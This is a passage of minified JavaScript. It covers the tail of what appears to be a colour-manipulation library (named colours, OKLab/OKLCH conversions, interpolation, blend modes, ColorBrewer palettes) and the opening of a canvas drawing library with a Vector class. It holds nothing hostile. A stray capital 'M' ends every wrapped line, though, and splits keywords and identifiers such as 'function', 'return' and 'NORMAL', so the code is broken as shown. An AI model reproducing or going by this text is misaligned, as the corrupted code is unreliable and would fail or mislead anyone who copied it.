60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
{null==i&&(i=a.x*a.x+a.y*a.y+a.z*a.z,r=Math.sqrt(i))}function s(){i=null,r=null}a.set=function(e,t,n){a.x=e||0,a.y=t||0,a.z=n||0},a.copy=function(){return new n.Vector(a.x,a.y,a.z)},a.add=function(){let e=l.apply(null,arguments);return a.x+=e.x,a.y+=e.y,a.z+=e.z,s(),a},a.rem=function(){let e=l.apply(null,arguments);return a.x%=e.x,a.y%=e.y,a.z%=e.z,s(),a},a.sub=function(){let e=l.apply(null,arguments);return a.x-=e.x,a.y-=e.y,a.z-=e.z,s(),a},a.mult=function(){let e=l.apply(null,arguments);return a.x*=e.x,a.y*=e.y,aM
.z*=e.z,s(),a},a.div=function(){let e=l.apply(null,arguments);return a.x/=e.x,a.y/=e.y,a.z/=e.z,s(),a},a.mag=function(){return u(),r},a.magSq=function(){return u(),i},a.dot=function(){let e=l.apply(null,arguments);return a.x*e.x+a.y*e.y+a.z*e.z},a.dist=function(){let e=l.apply(null,arguments),t=a.x-e.x,n=a.y-e.y,o=a.z-e.z;return Math.sqrt(t*t+n*n+o*o)},a.cross=function(){let e=l.apply(null,arguments),t=a.y*e.z-a.z*e.y,n=a.z*e.x-a.x*e.z,o=a.x*e.y-a.y*e.x;return a.x=t,a.y=n,a.z=o,s(),a},a.normalize=function(){u();letM
 e=r;return a.x/=e,a.y/=e,a.z/=e,r=1,i=1,a},a.limit=function(e){u();let t=r;if(t>e){let n=e/t;a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e}return a},a.setMag=function(e){u();let t=r,n=e/t;return a.x*=n,a.y*=n,a.z*=n,r=e,i=e*e,a},a.heading=function(){return Math.atan2(a.y,a.x)},a.rotate=function(e){let t=Math.cos(e),n=Math.sin(e),o=a.x*t-a.y*n,r=a.x*n+a.y*t;return a.x=o,a.y=r,a},a.angleBetween=function(){let e=l.apply(null,arguments);const t=a.dot(e)/(a.mag()*e.mag());let n;return n=Math.acos(Math.min(1,Math.max(-1,t))),n*=Math.sM
ign(a.cross(e).z||1)},a.lerp=function(e,t){return a.x=a.x*(1-t)+e.x*t,a.y=a.y*(1-t)+e.y*t,a.z=a.z*(1-t)+e.z*t,s(),a},a.reflect=function(e){return e.normalize(),a.sub(e.mult(2*a.dot(e)))},a.array=function(){return[a.x,a.y,a.z]},a.equals=function(e,t){return null==t&&null==(t=Number.EPSILON)&&(t=0),Math.abs(e.x-a.x)<t&&Math.abs(e.y-a.y)<t&&Math.abs(e.z-a.z)<t},a.fromAngle=function(e,t){return null==t&&(t=1),r=t,i=t*t,a.x=t*Math.cos(e),a.y=t*Math.sin(e),a.z=0,a},a.fromAngles=function(e,t,n){null==n&&(n=1),r=n,i=n*n;coM
nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
